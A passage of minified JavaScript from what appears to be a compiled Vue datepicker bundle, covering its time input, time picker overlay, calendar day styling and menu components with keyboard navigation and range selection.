0]),1040,[\"skip-active\",\"year\",\"multi-model-value\",\"modelValue\"])):(0,r.Q3)(\"\",!0),t.yearPicker?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:2},(0,a.R1)(S)(\"year\"),{modelValue:(0,a.R1)(k),\"onUpdate:modelValue\":n[19]||(n[19]=e=>(0,a.i9)(k)?k.value=e:null),\"multi-model-value\":(0,a.R1)(A),\"skip-active\":t.range,\"skip-button-ref\":\"\",\"year-picker\":\"\",onToggle:F,onSelected:n[20]||(n[20]=e=>t.$emit(\"overlay-closed\"))}),(0,r.eX)({_:2},[t.$slots[\"year-overlay-value\"]?{name:\"item\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"year-overlay-value\",{text:e.text,value:e.value})]),key:\"0\"}:void 0]),1040,[\"modelValue\",\"multi-model-value\",\"skip-active\"])):(0,r.Q3)(\"\",!0)],64))])}}}),Ki={key:0,class:\"dp__time_input\"},qi=[\"aria-label\",\"onKeydown\",\"onClick\"],Qi=[\"aria-label\",\"data-test\",\"onKeydown\",\"onClick\"],Zi=[\"aria-label\",\"onKeydown\",\"onClick\"],Ji={key:0},el=[\"aria-label\",\"onKeydown\"],tl=(0,r.pM)({__name:\"TimeInput\",props:{hours:{type:Number,default:0},minutes:{type:Number,default:0},seconds:{type:Number,default:0},closeTimePickerBtn:{type:Object,default:null},order:{type:Number,default:0},...fi},emits:[\"set-hours\",\"set-minutes\",\"update:hours\",\"update:minutes\",\"update:seconds\",\"reset-flow\",\"mounted\",\"overlay-closed\"],setup(e,{expose:t,emit:n}){const l=e,{setTimePickerElements:s,setTimePickerBackRef:u}=Zo(),{defaults:d}=Uo(l),{transitionName:c,showTransition:f}=ci(d.value.transitions),p=(0,a.Kh)({hours:!1,minutes:!1,seconds:!1}),h=(0,a.KR)(\"AM\"),v=(0,a.KR)(null),m=(0,a.KR)([]);(0,r.sV)(()=>{n(\"mounted\")});const g=(0,r.EW)(()=>e=>!!(l.maxTime&&l.maxTime[e]&&l.maxTime[e]\u003Cl[e]+ +l[`${e}Increment`])),y=(0,r.EW)(()=>e=>!!(l.minTime&&l.minTime[e]&&l.minTime[e]>l[e]-+l[`${e}Increment`])),b=(e,t)=>lr(ar(ya(),e),t),$=(e,t)=>wr(ar(ya(),e),t),w=(0,r.EW)(()=>({dp__time_col:!0,dp__time_col_reg:!l.enableSeconds&&l.is24,dp__time_col_reg_with_button:!l.enableSeconds&&!l.is24,dp__time_col_sec:l.enableSeconds&&l.is24,dp__time_col_sec_with_button:l.enableSeconds&&!l.is24})),_=(0,r.EW)(()=>{const e=[{type:\"hours\"},{type:\"\",separator:!0},{type:\"minutes\"}];return l.enableSeconds?e.concat([{type:\"\",separator:!0},{type:\"seconds\"}]):e}),k=(0,r.EW)(()=>_.value.filter(e=>!e.separator)),C=(0,r.EW)(()=>e=>{if(\"hours\"===e){const e=A(l.hours);return{text:e\u003C10?`0${e}`:`${e}`,value:e}}return{text:l[e]\u003C10?`0${l[e]}`:`${l[e]}`,value:l[e]}}),x=e=>{const t=l.is24?24:12,n=\"hours\"===e?t:60,r=+l[`${e}GridIncrement`],a=\"hours\"!==e||l.is24?0:r,o=[];for(let i=a;i\u003Cn;i+=r)o.push({value:i,text:i\u003C10?`0${i}`:`${i}`});return\"hours\"===e&&!l.is24&&o.push({value:0,text:\"12\"}),xo(o)},S=(e,t)=>{const n=l.minTime&&l.minTime[t],r=l.maxTime&&l.maxTime[t];return n&&r?e\u003Cn||e>r:n?e\u003Cn:!!r&&e>r},E=(0,r.EW)(()=>e=>x(e).flat().map(e=>e.value).filter(t=>S(t,e))),T=e=>l[`no${e[0].toUpperCase()+e.slice(1)}Overlay`],R=e=>{T(e)||(p[e]=!p[e],p[e]||n(\"overlay-closed\"))},O=e=>\"hours\"===e?On:\"minutes\"===e?Mn:An,M=(e,t=!0)=>{const r=t?b:$;(t?g.value(e):y.value(e))||n(`update:${e}`,O(e)(r({[e]:+l[e]},{[e]:+l[`${e}Increment`]})))},A=e=>l.is24?e:(h.value=e>=12?\"PM\":\"AM\",Ro(e)),D=()=>{\"PM\"===h.value?(h.value=\"AM\",n(\"update:hours\",l.hours-12)):(h.value=\"PM\",n(\"update:hours\",l.hours+12))},B=e=>{p[e]=!0},W=(e,t,n)=>{if(e&&l.arrowNavigation){Array.isArray(m.value[t])?m.value[t][n]=e:m.value[t]=[e];const r=m.value.reduce((e,t)=>t.map((n,r)=>[...e[r]||[],t[r]]),[]);u(l.closeTimePickerBtn),v.value&&(r[1]=r[1].concat(v.value)),s(r,l.order)}},P=(e,t)=>\"hours\"!==e||l.is24?n(`update:${e}`,t):n(`update:${e}`,\"PM\"===h.value?t+12:t);return t({openChildCmp:B}),(e,t)=>{var n;return e.disabled?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",Ki,[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(_),(t,n)=>{var l,s,u;return(0,r.uX)(),(0,r.CE)(\"div\",{key:n,class:(0,o.C4)((0,a.R1)(w))},[t.separator?((0,r.uX)(),(0,r.CE)(r.FK,{key:0},[(0,r.eW)(\" : \")],64)):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.Lk)(\"div\",{class:(0,o.C4)({dp__inc_dec_button:!0,dp__inc_dec_button_disabled:(0,a.R1)(g)(t.type)}),role:\"button\",\"data-test\":\"time-inc-btn\",\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 0:l.incrementValue(t.type),tabindex:\"0\",onKeydown:[(0,i.jR)(e=>M(t.type),[\"enter\"]),(0,i.jR)(e=>M(t.type),[\"space\"])],onClick:e=>M(t.type),ref_for:!0,ref:e=>W(e,n,0)},[e.$slots[\"arrow-up\"]?(0,r.RG)(e.$slots,\"arrow-up\",{key:0}):(0,r.Q3)(\"\",!0),e.$slots[\"arrow-up\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ua),{key:1}))],42,qi),(0,r.Lk)(\"div\",{role:\"button\",\"aria-label\":null==(s=(0,a.R1)(d).ariaLabels)?void 0:s.openTpOverlay(t.type),class:(0,o.C4)(T(t.type)?\"\":\"dp__time_display\"),tabindex:\"0\",\"data-test\":`${t.type}-toggle-overlay-btn`,onKeydown:[(0,i.jR)(e=>R(t.type),[\"enter\"]),(0,i.jR)(e=>R(t.type),[\"space\"])],onClick:e=>R(t.type),ref_for:!0,ref:e=>W(e,n,1)},[e.$slots[t.type]?(0,r.RG)(e.$slots,t.type,{key:0,text:(0,a.R1)(C)(t.type).text,value:(0,a.R1)(C)(t.type).value}):(0,r.Q3)(\"\",!0),e.$slots[t.type]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)((0,a.R1)(C)(t.type).text),1)],64))],42,Qi),(0,r.Lk)(\"div\",{class:(0,o.C4)({dp__inc_dec_button:!0,dp__inc_dec_button_disabled:(0,a.R1)(y)(t.type)}),role:\"button\",\"data-test\":\"time-dec-btn\",\"aria-label\":null==(u=(0,a.R1)(d).ariaLabels)?void 0:u.decrementValue(t.type),tabindex:\"0\",onKeydown:[(0,i.jR)(e=>M(t.type,!1),[\"enter\"]),(0,i.jR)(e=>M(t.type,!1),[\"space\"])],onClick:e=>M(t.type,!1),ref_for:!0,ref:e=>W(e,n,2)},[e.$slots[\"arrow-down\"]?(0,r.RG)(e.$slots,\"arrow-down\",{key:0}):(0,r.Q3)(\"\",!0),e.$slots[\"arrow-down\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(va),{key:1}))],42,Zi)],64))],2)}),128)),e.is24?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",Ji,[e.$slots[\"am-pm-button\"]?(0,r.RG)(e.$slots,\"am-pm-button\",{key:0,toggle:D,value:h.value}):(0,r.Q3)(\"\",!0),e.$slots[\"am-pm-button\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"button\",{key:1,ref_key:\"amPmButton\",ref:v,type:\"button\",class:\"dp__pm_am_button\",role:\"button\",\"aria-label\":null==(n=(0,a.R1)(d).ariaLabels)?void 0:n.amPmButton,tabindex:\"0\",onClick:D,onKeydown:[(0,i.jR)((0,i.D$)(D,[\"prevent\"]),[\"enter\"]),(0,i.jR)((0,i.D$)(D,[\"prevent\"]),[\"space\"])]},(0,o.v_)(h.value),41,el))])),((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(k),(n,o)=>((0,r.uX)(),(0,r.Wv)(i.eB,{key:o,name:(0,a.R1)(c)(p[n.type]),css:(0,a.R1)(f)},{default:(0,r.k6)(()=>[p[n.type]?((0,r.uX)(),(0,r.Wv)(Li,{key:0,items:x(n.type),\"disabled-values\":(0,a.R1)(d).filters.times[n.type].concat((0,a.R1)(E)(n.type)),\"esc-close\":e.escClose,\"aria-labels\":(0,a.R1)(d).ariaLabels,\"hide-navigation\":e.hideNavigation,\"onUpdate:modelValue\":e=>P(n.type,e),onSelected:e=>R(n.type),onToggle:e=>R(n.type),onResetFlow:t[0]||(t[0]=t=>e.$emit(\"reset-flow\")),type:n.type},(0,r.eX)({\"button-icon\":(0,r.k6)(()=>[e.$slots[\"clock-icon\"]?(0,r.RG)(e.$slots,\"clock-icon\",{key:0}):(0,r.Q3)(\"\",!0),e.$slots[\"clock-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ra),{key:1}))]),_:2},[e.$slots[`${n.type}-overlay-value`]?{name:\"item\",fn:(0,r.k6)(({item:t})=>[(0,r.RG)(e.$slots,`${n.type}-overlay-value`,{text:t.text,value:t.value})]),key:\"0\"}:void 0]),1032,[\"items\",\"disabled-values\",\"esc-close\",\"aria-labels\",\"hide-navigation\",\"onUpdate:modelValue\",\"onSelected\",\"onToggle\",\"type\"])):(0,r.Q3)(\"\",!0)]),_:2},1032,[\"name\",\"css\"]))),128))]))}}}),nl=[\"aria-label\"],rl={class:\"dp__overlay_container dp__container_flex dp__time_picker_overlay_container\"},al={key:1,class:\"dp__overlay_row\"},ol=[\"aria-label\"],il=(0,r.pM)({__name:\"TimePicker\",props:{hours:{type:[Number,Array],default:0},minutes:{type:[Number,Array],default:0},seconds:{type:[Number,Array],default:0},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"update:hours\",\"update:minutes\",\"update:seconds\",\"mount\",\"reset-flow\",\"overlay-closed\"],setup(e,{expose:t,emit:n}){const l=e,{buildMatrix:s,setTimePicker:u}=Zo(),d=(0,r.Ht)(),{hideNavigationButtons:c,defaults:f}=Uo(l),{transitionName:p,showTransition:h}=ci(f.value.transitions),v=(0,a.KR)(null),m=(0,a.KR)(null),g=(0,a.KR)([]),y=(0,a.KR)(null);(0,r.sV)(()=>{n(\"mount\"),!l.timePicker&&l.arrowNavigation?s([Oo(v.value)],\"time\"):u(!0,l.timePicker)});const b=(0,r.EW)(()=>!l.range||!l.modelAuto||Ao(l.internalModelValue)),$=(0,a.KR)(!1),w=e=>({hours:Array.isArray(l.hours)?l.hours[e]:l.hours,minutes:Array.isArray(l.minutes)?l.minutes[e]:l.minutes,seconds:Array.isArray(l.seconds)?l.seconds[e]:l.seconds}),_=(0,r.EW)(()=>{const e=[];if(l.range)for(let t=0;t\u003C2;t++)e.push(w(t));else e.push(w(0));return e}),k=(e,t=!1,a=\"\")=>{t||n(\"reset-flow\"),$.value=e,l.arrowNavigation&&(u(e),e||n(\"overlay-closed\")),(0,r.dY)(()=>{\"\"!==a&&g.value[0]&&g.value[0].openChildCmp(a)})},C=(0,r.EW)(()=>({dp__button:!0,dp__button_bottom:l.autoApply})),x=di(d,\"timePicker\"),S=(e,t,n)=>l.range?0===t?[e,_.value[1][n]]:[_.value[0][n],e]:e,E=e=>{n(\"update:hours\",e)},T=e=>{n(\"update:minutes\",e)},R=e=>{n(\"update:seconds\",e)},O=()=>{y.value&&l.arrowNavigation&&y.value.focus({preventScroll:!0})};return t({toggleTimePicker:k}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",null,[t.timePicker?(0,r.Q3)(\"\",!0):(0,r.bo)(((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:(0,o.C4)((0,a.R1)(C)),role:\"button\",\"aria-label\":null==(l=(0,a.R1)(f).ariaLabels)?void 0:l.openTimePicker,tabindex:\"0\",\"data-test\":\"open-time-picker-btn\",ref_key:\"openTimePickerBtn\",ref:v,onKeydown:[n[0]||(n[0]=(0,i.jR)(e=>k(!0),[\"enter\"])),n[1]||(n[1]=(0,i.jR)(e=>k(!0),[\"space\"]))],onClick:n[2]||(n[2]=e=>k(!0))},[t.$slots[\"clock-icon\"]?(0,r.RG)(t.$slots,\"clock-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"clock-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ra),{key:1}))],42,nl)),[[i.aG,!(0,a.R1)(c)(\"time\")]]),(0,r.bF)(i.eB,{name:(0,a.R1)(p)($.value),css:(0,a.R1)(h)},{default:(0,r.k6)(()=>{var l;return[$.value||t.timePicker?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:\"dp__overlay\",ref_key:\"overlayRef\",ref:y,tabindex:\"0\"},[(0,r.Lk)(\"div\",rl,[t.$slots[\"time-picker-overlay\"]?(0,r.RG)(t.$slots,\"time-picker-overlay\",{key:0,hours:e.hours,minutes:e.minutes,seconds:e.seconds,setHours:E,setMinutes:T,setSeconds:R}):(0,r.Q3)(\"\",!0),t.$slots[\"time-picker-overlay\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",al,[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(_),(e,n)=>(0,r.bo)(((0,r.uX)(),(0,r.Wv)(tl,(0,r.v6)({key:n},{...t.$props,order:n,hours:e.hours,minutes:e.minutes,seconds:e.seconds,closeTimePickerBtn:m.value,disabled:0===n?t.fixedStart:t.fixedEnd},{ref_for:!0,ref_key:\"timeInputRefs\",ref:g,\"onUpdate:hours\":e=>E(S(e,n,\"hours\")),\"onUpdate:minutes\":e=>T(S(e,n,\"minutes\")),\"onUpdate:seconds\":e=>R(S(e,n,\"seconds\")),onMounted:O,onOverlayClosed:O}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(x),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"onUpdate:hours\",\"onUpdate:minutes\",\"onUpdate:seconds\"])),[[i.aG,0===n||(0,a.R1)(b)]])),128))])),t.timePicker?(0,r.Q3)(\"\",!0):(0,r.bo)(((0,r.uX)(),(0,r.CE)(\"div\",{key:2,ref_key:\"closeTimePickerBtn\",ref:m,class:(0,o.C4)((0,a.R1)(C)),role:\"button\",\"aria-label\":null==(l=(0,a.R1)(f).ariaLabels)?void 0:l.closeTimePicker,tabindex:\"0\",onKeydown:[n[3]||(n[3]=(0,i.jR)(e=>k(!1),[\"enter\"])),n[4]||(n[4]=(0,i.jR)(e=>k(!1),[\"space\"]))],onClick:n[5]||(n[5]=e=>k(!1))},[t.$slots[\"calendar-icon\"]?(0,r.RG)(t.$slots,\"calendar-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:1}))],42,ol)),[[i.aG,!(0,a.R1)(c)(\"time\")]])])],512)):(0,r.Q3)(\"\",!0)]}),_:3},8,[\"name\",\"css\"])])}}}),ll=(e,t)=>{const{isDisabled:n,matchDate:r,getWeekFromDate:o}=Uo(t),i=(0,a.KR)(null),l=(0,a.KR)(ya()),s=e=>{!e.current&&t.hideOffsetDates||(i.value=e.value)},u=()=>{i.value=null},d=n=>!(Array.isArray(e.value)&&t.range&&e.value[0]&&i.value)||(n?Ca(i.value,e.value[0]):_a(i.value,e.value[0])),c=(t,n)=>{const r=()=>e.value?n?e.value[0]||null:e.value[1]:null,a=e.value&&Array.isArray(e.value)?r():null;return ka(ya(t.value),a)},f=t=>{const n=Array.isArray(e.value)?e.value[0]:null;return!t||!_a(i.value||null,n)},p=(n,r=!0)=>(t.range||t.weekPicker)&&Array.isArray(e.value)?!(t.hideOffsetDates&&!n.current)&&ka(ya(n.value),e.value[r?0:1]):!!t.range&&(c(n,r)&&f(r)||ka(n.value,Array.isArray(e.value)?e.value[0]:null)&&d(r)),h=(t,n,r)=>!(!Array.isArray(e.value)||!e.value[0]||1!==e.value.length)&&(!t&&(r?Ca(e.value[0],n.value):_a(e.value[0],n.value))),v=n=>!(!e.value||t.hideOffsetDates&&!n.current)&&(t.range?!(!t.modelAuto||!Array.isArray(e.value))&&ka(n.value,e.value[0]?e.value[0]:l.value):t.multiDates&&Array.isArray(e.value)?e.value.some(e=>ka(e,n.value)):ka(n.value,e.value?e.value:l.value)),m=e=>{if(t.autoRange||t.weekPicker){if(i.value){if(t.hideOffsetDates&&!e.current)return!1;const n=or(i.value,+t.autoRange),r=o(ya(i.value));return t.weekPicker?ka(r[1],ya(e.value)):ka(n,ya(e.value))}return!1}return!1},g=e=>{if(t.autoRange||t.weekPicker){if(i.value){const n=or(i.value,+t.autoRange);if(t.hideOffsetDates&&!e.current)return!1;const r=o(ya(i.value));return t.weekPicker?Ca(e.value,r[0])&&_a(e.value,r[1]):Ca(e.value,i.value)&&_a(e.value,n)}return!1}return!1},y=e=>{if(t.autoRange||t.weekPicker){if(i.value){if(t.hideOffsetDates&&!e.current)return!1;const n=o(ya(i.value));return t.weekPicker?ka(n[0],e.value):ka(i.value,e.value)}return!1}return!1},b=t=>xa(e.value,i.value,t.value),$=()=>!(!t.modelAuto||!Array.isArray(t.internalModelValue))&&!!t.internalModelValue[0],w=()=>!t.modelAuto||Ao(t.internalModelValue),_=r=>{if(Array.isArray(e.value)&&e.value.length||t.weekPicker)return!1;const a=!t.range||!p(r)&&!p(r,!1);return!n(r.value)&&!v(r)&&!(!r.current&&t.hideOffsetDates)&&a},k=e=>t.range?!!t.modelAuto&&($()&&v(e)):v(e),C=e=>!!t.highlight&&r(e.value,t.highlight),x=e=>n(e.value)&&!1===t.highlightDisabledDays,S=e=>t.highlightWeekDays&&t.highlightWeekDays.includes(e.value.getDay()),E=e=>!(!t.range&&!t.weekPicker||t.multiCalendars>0&&!e.current||!w()||!e.current&&t.hideOffsetDates||v(e))&&b(e),T=e=>({dp__cell_offset:!e.current,dp__pointer:!t.disabled&&!(!e.current&&t.hideOffsetDates)&&!n(e.value),dp__cell_disabled:n(e.value),dp__cell_highlight:!x(e)&&(C(e)||S(e))&&!k(e),dp__cell_highlight_active:!x(e)&&(C(e)||S(e))&&k(e),dp__today:!t.noToday&&ka(e.value,l.value)&&e.current}),R=e=>({dp__active_date:k(e),dp__date_hover:_(e)}),O=e=>({...M(e),...A(e),dp__range_between_week:E(e)&&t.weekPicker}),M=e=>({dp__range_start:t.multiCalendars>0?e.current&&p(e)&&w():p(e)&&w(),dp__range_end:t.multiCalendars>0?e.current&&p(e,!1)&&w():p(e,!1)&&w(),dp__range_between:E(e)&&!t.weekPicker,dp__date_hover_start:h(_(e),e,!0),dp__date_hover_end:h(_(e),e,!1)}),A=e=>({...M(e),dp__cell_auto_range:g(e),dp__cell_auto_range_start:y(e),dp__cell_auto_range_end:m(e)}),D=e=>t.range?t.autoRange?A(e):t.modelAuto?{...R(e),...M(e)}:M(e):t.weekPicker?O(e):R(e);return{setHoverDate:s,clearHoverDate:u,getDayClassData:e=>({...T(e),...D(e),[t.dayClass?t.dayClass(e.value):\"\"]:!0,[t.calendarCellClassName]:!!t.calendarCellClassName})}},sl=[\"id\",\"onKeydown\"],ul={key:0,class:\"dp__sidebar_left\"},dl={key:1,class:\"dp__preset_ranges\"},cl=[\"onClick\"],fl={key:2,class:\"dp__sidebar_right\"},pl={key:3,class:\"dp__now_wrap\"},hl=(0,r.pM)({__name:\"DatepickerMenu\",props:{openOnTop:{type:Boolean,default:!1},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"close-picker\",\"select-date\",\"auto-apply\",\"time-update\",\"flow-step\",\"update-month-year\",\"invalid-select\",\"update:internal-model-value\",\"recalculate-position\",\"invalid-fixed-range\",\"tooltip-open\",\"tooltip-close\"],setup(e,{expose:t,emit:n}){const l=e,{setMenuFocused:s,setShiftKey:u,control:d}=Ea(),{getCalendarDays:c,defaults:f}=Uo(l),p=(0,r.Ht)(),h=(0,a.KR)(null),v=(0,a.Kh)({timePicker:!(l.enableTimePicker&&!l.timePicker&&!l.monthPicker),monthYearInput:!!l.timePicker,calendar:!1}),m=(0,a.KR)([]),g=(0,a.KR)([]),y=(0,a.KR)(null),b=(0,a.KR)(null),$=(0,a.KR)(0),w=(0,a.KR)(!1),_=(0,a.KR)(0);(0,r.sV)(()=>{var e;w.value=!0,(null==(e=l.presetRanges)||!e.length)&&!p[\"left-sidebar\"]&&!p[\"right-sidebar\"]&&re();const t=Oo(b);if(t&&!l.textInput&&!l.inline&&(s(!0),T()),t){const e=e=>{!l.monthYearComponent&&!l.timePickerComponent&&!Object.keys(p).length&&e.preventDefault(),e.stopImmediatePropagation(),e.stopPropagation()};t.addEventListener(\"pointerdown\",e),t.addEventListener(\"mousedown\",e)}window.addEventListener(\"resize\",re)}),(0,r.hi)(()=>{window.removeEventListener(\"resize\",re)});const{arrowRight:k,arrowLeft:C,arrowDown:x,arrowUp:S}=Zo(),E=e=>{e||0===e?g.value[e].triggerTransition(D.value(e),B.value(e)):g.value.forEach((e,t)=>e.triggerTransition(D.value(t),B.value(t)))},T=()=>{const e=Oo(b);e&&e.focus({preventScroll:!0})},R=()=>{var e;null!=(e=l.flow)&&e.length&&-1!==_.value&&(_.value+=1,n(\"flow-step\",_.value),be())},O=()=>{_.value=-1},{calendars:M,modelValue:A,month:D,year:B,time:W,updateTime:P,updateMonthYear:I,selectDate:N,getWeekNum:L,monthYearSelect:j,handleScroll:F,handleArrow:V,handleSwipe:U,getMarker:X,selectCurrentDate:H,presetDateRange:G}=ni(l,n,R,E,_),{setHoverDate:Y,clearHoverDate:z,getDayClassData:K}=ll(A,l);(0,r.wB)(M,()=>{l.openOnTop&&setTimeout(()=>{n(\"recalculate-position\")},0)},{deep:!0});const q=di(p,\"calendar\"),Q=di(p,\"action\"),Z=di(p,\"timePicker\"),J=di(p,\"monthYear\"),ee=(0,r.EW)(()=>l.openOnTop?\"dp__arrow_bottom\":\"dp__arrow_top\"),te=(0,r.EW)(()=>Eo(l.yearRange)),ne=(0,r.EW)(()=>To(l.locale,l.monthNameFormat)),re=()=>{const e=Oo(h);e&&($.value=e.getBoundingClientRect().width)},ae=(0,r.EW)(()=>e=>c(D.value(e),B.value(e))),oe=(0,r.EW)(()=>f.value.multiCalendars>0&&l.range?[...Array(f.value.multiCalendars).keys()]:[0]),ie=(0,r.EW)(()=>e=>1===e),le=(0,r.EW)(()=>l.monthPicker||l.timePicker||l.yearPicker),se=(0,r.EW)(()=>({dp__flex_display:f.value.multiCalendars>0})),ue=(0,r.EW)(()=>({dp__instance_calendar:f.value.multiCalendars>0})),de=(0,r.EW)(()=>({dp__menu_disabled:l.disabled,dp__menu_readonly:l.readonly})),ce=(0,r.EW)(()=>e=>pe(ae,e)),fe=(0,r.EW)(()=>({dp__menu:!0,dp__menu_index:!l.inline,dp__relative:l.inline,[l.menuClassName]:!!l.menuClassName})),pe=(e,t)=>e.value(t).map(e=>({...e,days:e.days.map(e=>(e.marker=X(e),e.classData=K(e),e))})),he=e=>{e.stopPropagation(),e.stopImmediatePropagation()},ve=()=>{l.escClose&&n(\"close-picker\")},me=(e,t=!1)=>{N(e,t),l.spaceConfirm&&n(\"select-date\")},ge=e=>{var t;null!=(t=l.flow)&&t.length&&(v[e]=!0,Object.keys(v).filter(e=>!v[e]).length||be())},ye=(e,t,n,r,...a)=>{if(l.flow[_.value]===e){const e=r?t.value[0]:t.value;e&&e[n](...a)}},be=()=>{ye(\"month\",m,\"toggleMonthPicker\",!0,!0),ye(\"year\",m,\"toggleYearPicker\",!0,!0),ye(\"calendar\",y,\"toggleTimePicker\",!1,!1,!0),ye(\"time\",y,\"toggleTimePicker\",!1,!0,!0);const e=l.flow[_.value];(\"hours\"===e||\"minutes\"===e||\"seconds\"===e)&&ye(e,y,\"toggleTimePicker\",!1,!0,!0,e)},$e=e=>{if(l.arrowNavigation){if(\"up\"===e)return S();if(\"down\"===e)return x();if(\"left\"===e)return C();if(\"right\"===e)return k()}else\"left\"===e||\"up\"===e?V(\"left\",0,\"up\"===e):V(\"right\",0,\"down\"===e)},we=e=>{u(e.shiftKey),!l.disableMonthYearSelect&&\"Tab\"===e.code&&e.target.classList.contains(\"dp__menu\")&&d.value.shiftKeyInMenu&&(e.preventDefault(),e.stopImmediatePropagation(),n(\"close-picker\"))};return t({updateMonthYear:I}),(t,n)=>{var l;return(0,r.uX)(),(0,r.Wv)(i.eB,{appear:\"\",name:null==(l=(0,a.R1)(f).transitions)?void 0:l.menuAppear,mode:\"out-in\",css:!!t.transitions},{default:(0,r.k6)(()=>{var l,s;return[(0,r.Lk)(\"div\",{id:t.uid?`dp-menu-${t.uid}`:void 0,tabindex:\"0\",ref_key:\"dpMenuRef\",ref:b,role:\"dialog\",class:(0,o.C4)((0,a.R1)(fe)),onMouseleave:n[14]||(n[14]=(...e)=>(0,a.R1)(z)&&(0,a.R1)(z)(...e)),onClick:he,onKeydown:[(0,i.jR)(ve,[\"esc\"]),n[15]||(n[15]=(0,i.jR)((0,i.D$)(e=>$e(\"left\"),[\"prevent\"]),[\"left\"])),n[16]||(n[16]=(0,i.jR)((0,i.D$)(e=>$e(\"up\"),[\"prevent\"]),[\"up\"])),n[17]||(n[17]=(0,i.jR)((0,i.D$)(e=>$e(\"down\"),[\"prevent\"]),[\"down\"])),n[18]||(n[18]=(0,i.jR)((0,i.D$)(e=>$e(\"right\"),[\"prevent\"]),[\"right\"])),we]},[(t.disabled||t.readonly)&&t.inline?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:(0,o.C4)((0,a.R1)(de))},null,2)):(0,r.Q3)(\"\",!0),t.inline||t.teleportCenter?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",{key:1,class:(0,o.C4)((0,a.R1)(ee))},null,2)),(0,r.Lk)(\"div\",{class:(0,o.C4)({dp__menu_content_wrapper:(null==(l=t.presetRanges)?void 0:l.length)||!!t.$slots[\"left-sidebar\"]||!!t.$slots[\"right-sidebar\"]})},[t.$slots[\"left-sidebar\"]?((0,r.uX)(),(0,r.CE)(\"div\",ul,[(0,r.RG)(t.$slots,\"left-sidebar\")])):(0,r.Q3)(\"\",!0),null!=(s=t.presetRanges)&&s.length?((0,r.uX)(),(0,r.CE)(\"div\",dl,[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(t.presetRanges,(e,n)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:n,style:(0,o.Tr)(e.style||{}),class:\"dp__preset_range\",onClick:t=>(0,a.R1)(G)(e.range,!!e.slot)},[e.slot?(0,r.RG)(t.$slots,e.slot,{key:0,presetDateRange:(0,a.R1)(G),label:e.label,range:e.range}):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.label),1)],64))],12,cl))),128))])):(0,r.Q3)(\"\",!0),(0,r.Lk)(\"div\",{class:\"dp__instance_calendar\",ref_key:\"calendarWrapperRef\",ref:h,role:\"document\"},[(0,r.Lk)(\"div\",{class:(0,o.C4)((0,a.R1)(se))},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(oe),(i,l)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:i,class:(0,o.C4)((0,a.R1)(ue))},[t.disableMonthYearSelect||t.timePicker?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.monthYearComponent?t.monthYearComponent:zi),(0,r.v6)({key:0,ref_for:!0,ref:e=>{e&&(m.value[l]=e)},months:(0,a.R1)(ne),years:(0,a.R1)(te),month:(0,a.R1)(D)(i),year:(0,a.R1)(B)(i),instance:i,\"internal-model-value\":e.internalModelValue},t.$props,{onMount:n[0]||(n[0]=e=>ge(\"monthYearInput\")),onResetFlow:O,onUpdateMonthYear:e=>(0,a.R1)(I)(i,e),onMonthYearSelect:(0,a.R1)(j),onOverlayClosed:T}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(J),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"months\",\"years\",\"month\",\"year\",\"instance\",\"internal-model-value\",\"onUpdateMonthYear\",\"onMonthYearSelect\"])),(0,r.bF)(Ai,(0,r.v6)({ref_for:!0,ref:e=>{e&&(g.value[l]=e)},\"specific-mode\":(0,a.R1)(le),\"get-week-num\":(0,a.R1)(L),instance:i,\"mapped-dates\":(0,a.R1)(ce)(i),month:(0,a.R1)(D)(i),year:(0,a.R1)(B)(i)},t.$props,{\"flow-step\":_.value,\"onUpdate:flowStep\":n[1]||(n[1]=e=>_.value=e),onSelectDate:e=>(0,a.R1)(N)(e,!(0,a.R1)(ie)(i)),onHandleSpace:e=>me(e,!(0,a.R1)(ie)(i)),onSetHoverDate:n[2]||(n[2]=e=>(0,a.R1)(Y)(e)),onHandleScroll:e=>(0,a.R1)(F)(e,i),onH